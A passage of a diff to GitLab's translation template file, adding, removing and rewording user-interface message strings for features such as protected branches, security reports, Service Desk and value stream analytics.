msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
